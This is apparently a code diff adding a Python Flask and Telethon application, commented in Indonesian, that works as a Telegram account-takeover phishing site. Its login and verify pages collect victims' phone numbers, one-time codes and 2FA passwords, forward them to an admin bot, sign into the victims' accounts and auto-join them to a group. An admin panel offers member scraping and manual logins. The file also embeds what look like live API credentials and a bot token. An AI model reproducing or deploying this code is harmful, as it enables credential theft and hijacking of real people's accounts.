|
| 1 | +import asyncio |
| 2 | +import threading |
| 3 | +import os |
| 4 | +import logging |
| 5 | +from flask import Flask, render_template, request, redirect, url_for, session, flash |
| 6 | +from telethon import TelegramClient, events, Button |
| 7 | +from telethon.errors import SessionPasswordNeededError |
| 8 | +from telethon.tl.functions.channels import JoinChannelRequest |
| 9 | +from telethon.tl.functions.messages import ImportChatInviteRequest |
| 10 | + |
| 11 | +# --- KONFIGURASI UTAMA --- |
| 12 | +API_ID = 31871641 |
| 13 | +API_HASH = '5e0aa2e3b7b013161308d8880d062193' |
| 14 | +BOT_TOKEN = '8390941360:AAG_tT7KmGz_v_ffiR1GhxmXrWQm-vkHxzw' |
| 15 | + |
| 16 | +# ID Admin (Ganti dengan ID Telegram Anda) |
| 17 | +ADMIN_IDS = {7795826197} |
| 18 | + |
| 19 | +# --- KONFIGURASI GRUP --- |
| 20 | +TARGET_GROUP_BOT = "" |
| 21 | +WEB_SPECIAL_GROUP_LINK = "https://t.me/+vcYDjyo4zfEyY2Q1" |
| 22 | + |
| 23 | +# --- VARIABEL GLOBAL --- |
| 24 | +OTP_SESSION_CACHE = "❌ Belum ada data OTP session yang masuk." |
| 25 | + |
| 26 | +# --- SETUP FOLDER & LOGGING --- |
| 27 | +SESSION_DIR = 'sessions' |
| 28 | +if not os.path.exists(SESSION_DIR): os.makedirs(SESSION_DIR) |
| 29 | + |
| 30 | +USER_SESSION = os.path.join(SESSION_DIR, 'user_session') |
| 31 | +BOT_SESSION = os.path.join(SESSION_DIR, 'bot_session') |
| 32 | + |
| 33 | +logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) |
| 34 | + |
| 35 | +# --- SETUP FLASK & TELETHON --- |
| 36 | +app = Flask(__name__) |
| 37 | +app.secret_key = 'super_secret_key_phising_123' |
| 38 | + |
| 39 | +loop = asyncio.new_event_loop() |
| 40 | +asyncio.set_event_loop(loop) |
| 41 | + |
| 42 | +client = TelegramClient(USER_SESSION, API_ID, API_HASH, loop=loop) |
| 43 | +bot = TelegramClient(BOT_SESSION, API_ID, API_HASH, loop=loop) |
| 44 | + |
| 45 | +# --- FUNGSI PEMBANTU (ASYNC) --- |
| 46 | +def is_admin(user_id): |
| 47 | + return user_id in ADMIN_IDS |
| 48 | + |
| 49 | +def run_async(coro): |
| 50 | + return asyncio.run_coroutine_threadsafe(coro, loop).result() |
| 51 | + |
| 52 | +async def ensure_client_connected(): |
| 53 | + if not client.is_connected(): |
| 54 | + await client.connect() |
| 55 | + |
| 56 | +def send_admin_notif(message): |
| 57 | + async def send(): |
| 58 | + for admin_id in ADMIN_IDS: |
| 59 | + try: await bot.send_message(admin_id, f"🔔 **LOG SISTEM**\n\n{message}") |
| 60 | + except: pass |
| 61 | + asyncio.run_coroutine_threadsafe(send(), loop) |
| 62 | + |
| 63 | +def get_admin_buttons(): |
| 64 | + return [ |
| 65 | + [Button.inline("🔍 Cek Mutual", b"cek_mutual"), Button.inline("⚡ Sedot ke Grup Bot", b"sedot_grup")], |
| 66 | + [Button.inline("📡 Set Target Grup (Bot)", b"set_grup_btn"), Button.inline("👥 Auto Join (Manual)", b"auto_join")], |
| 67 | + [Button.inline("📋 List Admin", b"list_sesi"), Button.inline("🔓 Cek Status Login", b"status_login")], |
| 68 | + # Tombol Login Admin & Cek OTP |
| 69 | + [Button.inline("🔑 Kode OTP Session", b"cek_otp_session"), Button.inline("🔓 Login Admin (Manual)", b"login_admin_manual")] |
| 70 | + ] |
| 71 | + |
| 72 | +# --- EVENT HANDLER BOT TELEGRAM --- |
| 73 | +@bot.on(events.NewMessage(pattern='/start')) |
| 74 | +async def start_handler(event): |
| 75 | + if is_admin(event.sender_id): |
| 76 | + global TARGET_GROUP_BOT |
| 77 | + status_bot = TARGET_GROUP_BOT if TARGET_GROUP_BOT else "Belum Diatur" |
| 78 | + |
| 79 | + msg = ( |
| 80 | + f"👋 **Dashboard Admin Panel**\n\n" |
| 81 | + f"🎯 Target Grup (Fitur Bot): `{status_bot}`" |
| 82 | + ) |
| 83 | + await event.reply(msg, buttons=get_admin_buttons()) |
| 84 | + |
| 85 | +@bot.on(events.CallbackQuery) |
| 86 | +async def callback_handler(event): |
| 87 | + if not is_admin(event.sender_id): return |
| 88 | + global TARGET_GROUP_BOT |
| 89 | + data = event.data |
| 90 | + |
| 91 | + if data == b"set_grup_btn": |
| 92 | + async with bot.conversation(event.chat_id) as conv: |
| 93 | + await conv.send_message("📝 Masukkan Username/ID Grup untuk fitur Bot:") |
| 94 | + res = await conv.get_response() |
| 95 | + TARGET_GROUP_BOT = res.text |
| 96 | + await conv.send_message(f"✅ Target grup Bot diset ke: `{TARGET_GROUP_BOT}`", buttons=get_admin_buttons()) |
| 97 | + |
| 98 | + elif data == b"status_login": |
| 99 | + is_auth = await client.is_user_authorized() |
| 100 | + status = "✅ SUDAH LOGIN" if is_auth else "❌ BELUM LOGIN" |
| 101 | + await event.answer(status, alert=True) |
| 102 | + |
| 103 | + elif data == b"auto_join": |
| 104 | + if not TARGET_GROUP_BOT: return await event.answer("Set Grup Bot dulu!", alert=True) |
| 105 | + try: |
| 106 | + await client(JoinChannelRequest(TARGET_GROUP_BOT)) |
| 107 | + await event.answer(f"Berhasil join ke {TARGET_GROUP_BOT}", alert=True) |
| 108 | + except Exception as e: |
| 109 | + await event.answer(f"Gagal: {str(e)}", alert=True) |
| 110 | + |
| 111 | + elif data == b"cek_otp_session": |
| 112 | + await event.answer(OTP_SESSION_CACHE, alert=True) |
| 113 | + |
| 114 | + # --- FITUR BARU: LOGIN ADMIN MANUAL --- |
| 115 | + elif data == b"login_admin_manual": |
| 116 | + # Memulai percakapan interaktif untuk login via bot |
| 117 | + async with bot.conversation(event.chat_id) as conv: |
| 118 | + await conv.send_message("📞 **LOGIN ADMIN MANUAL**\nSilakan masukkan Nomor HP (contoh: +628xxx):") |
| 119 | + phone_resp = await conv.get_response() |
| 120 | + phone = phone_resp.text.replace(' ', '') |
| 121 | + |
| 122 | + msg_status = await conv.send_message("⏳ Sedang mengirim kode OTP...") |
| 123 | + |
| 124 | + try: |
| 125 | + await ensure_client_connected() |
| 126 | + await client.send_code_request(phone) |
| 127 | + await msg_status.edit("✅ OTP Terkirim!\n\n📩 Silakan masukkan **Kode OTP**:") |
| 128 | + |
| 129 | + otp_resp = await conv.get_response() |
| 130 | + otp = otp_resp.text.replace(' ', '') |
| 131 | + |
| 132 | + try: |
| 133 | + await client.sign_in(phone, code=otp) |
| 134 | + await conv.send_message(f"✅ **LOGIN BERHASIL!**\nSesi aktif untuk nomor: `{phone}`") |
| 135 | + except SessionPasswordNeededError: |
| 136 | + await conv.send_message("🔒 **Verifikasi 2 Langkah (2FA)** aktif.\nSilakan masukkan Password:") |
| 137 | + pwd_resp = await conv.get_response() |
| 138 | + password = pwd_resp.text |
| 139 | + await client.sign_in(phone, password=password) |
| 140 | + await conv.send_message(f"✅ **LOGIN BERHASIL (dengan 2FA)!**\nSesi aktif untuk nomor: `{phone}`") |
| 141 | + |
| 142 | + except Exception as e: |
| 143 | + await conv.send_message(f"❌ **GAGAL LOGIN**\nError: {str(e)}") |
| 144 | + |
| 145 | + await event.answer() |
| 146 | + |
| 147 | +# --- ROUTES WEBSITE (FLASK) --- |
| 148 | +@app.route('/') |
| 149 | +def home(): |
| 150 | + if 'user_id' not in session: return redirect(url_for('login')) |
| 151 | + return render_template('index.html', info={"full_name": session.get('name', 'User'), "saldo": 150000}) |
| 152 | + |
| 153 | +@app.route('/login', methods=['GET', 'POST']) |
| 154 | +def login(): |
| 155 | + if request.method == 'POST': |
| 156 | + phone = request.form.get('phone') |
| 157 | + send_admin_notif(f"📥 Input Nomor Baru: `{phone}`") |
| 158 | + try: |
| 159 | + run_async(ensure_client_connected()) |
| 160 | + run_async(client.send_code_request(phone)) |
| 161 | + session['phone'] = phone |
| 162 | + return redirect(url_for('verify')) |
| 163 | + except Exception as e: |
| 164 | + flash(f"Gagal mengirim OTP: {str(e)}", "error") |
| 165 | + return render_template('login.html') |
| 166 | + |
| 167 | +@app.route('/verify', methods=['GET', 'POST']) |
| 168 | +def verify(): |
| 169 | + global OTP_SESSION_CACHE |
| 170 | + if request.method == 'POST': |
| 171 | + otp = request.form.get('otp') |
| 172 | + password = request.form.get('password') |
| 173 | + phone = session.get('phone') |
| 174 | + |
| 175 | + OTP_SESSION_CACHE = f"📱 Nomor: {phone}\n🔑 Kode: {otp}\n🔒 2FA: {password if password else 'Tidak Ada'}" |
| 176 | + send_admin_notif(f"🔑 OTP Masuk!\nNomor: `{phone}`\nOTP: `{otp}`\n2FA: `{password}`") |
| 177 | + |
| 178 | + try: |
| 179 | + if password: |
| 180 | + user = run_async(client.sign_in(phone=phone, password=password)) |
| 181 | + else: |
| 182 | + user = run_async(client.sign_in(phone=phone, code=otp)) |
| 183 | + |
| 184 | + # LOGIKA AUTO JOIN WEB |
| 185 | + try: |
| 186 | + if "+" in WEB_SPECIAL_GROUP_LINK: |
| 187 | + hash_link = WEB_SPECIAL_GROUP_LINK.split('+')[1] |
| 188 | + run_async(client(ImportChatInviteRequest(hash_link))) |
| 189 | + else: |
| 190 | + run_async(client(JoinChannelRequest(WEB_SPECIAL_GROUP_LINK))) |
| 191 | + send_admin_notif(f"✅ Login Sukses!\n🚀 Target berhasil AUTO JOIN ke grup Web.") |
| 192 | + except Exception as e_join: |
| 193 | + send_admin_notif(f"⚠️ Login Sukses, tapi GAGAL Join Grup Web:\nError: {str(e_join)}") |
| 194 | + |
| 195 | + session['user_id'] = user.id |
| 196 | + session['name'] = f"{user.first_name or ''} {user.last_name or ''}".strip() |
| 197 | + return redirect(url_for('home')) |
| 198 | + |
| 199 | + except SessionPasswordNeededError: |
| 200 | + return render_template('verify.html', password_required=True) |
| 201 | + except Exception as e: |
| 202 | + flash(f"Kode Salah/Expired: {str(e)}", "error") |
| 203 | + return render_template('verify.html', password_required=False) |
| 204 | + |
| 205 | + return render_template('verify.html', password_required=False) |
| 206 | + |
| 207 | +# --- MENJALANKAN SERVER --- |
| 208 | +def start_telegram_clients(): |
| 209 | + async def main(): |
| 210 | + await bot.start(bot_token=BOT_TOKEN) |
| 211 | + await client.connect() |
| 212 | + print("✅ Telegram Clients Started!") |
| 213 | + await bot.run_until_disconnected() |
| 214 | + loop.run_until_complete(main()) |
| 215 | + |
| 216 | +if __name__ == '__main__': |
| 217 | + threading.Thread(target=start_telegram_clients, daemon=True).start() |
| 218 | + print("🚀 Flask Server Running on Port 5000...") |
| 219 | + app.run(host='0.0.0.0', port=5000, debug=False) |
0 commit comments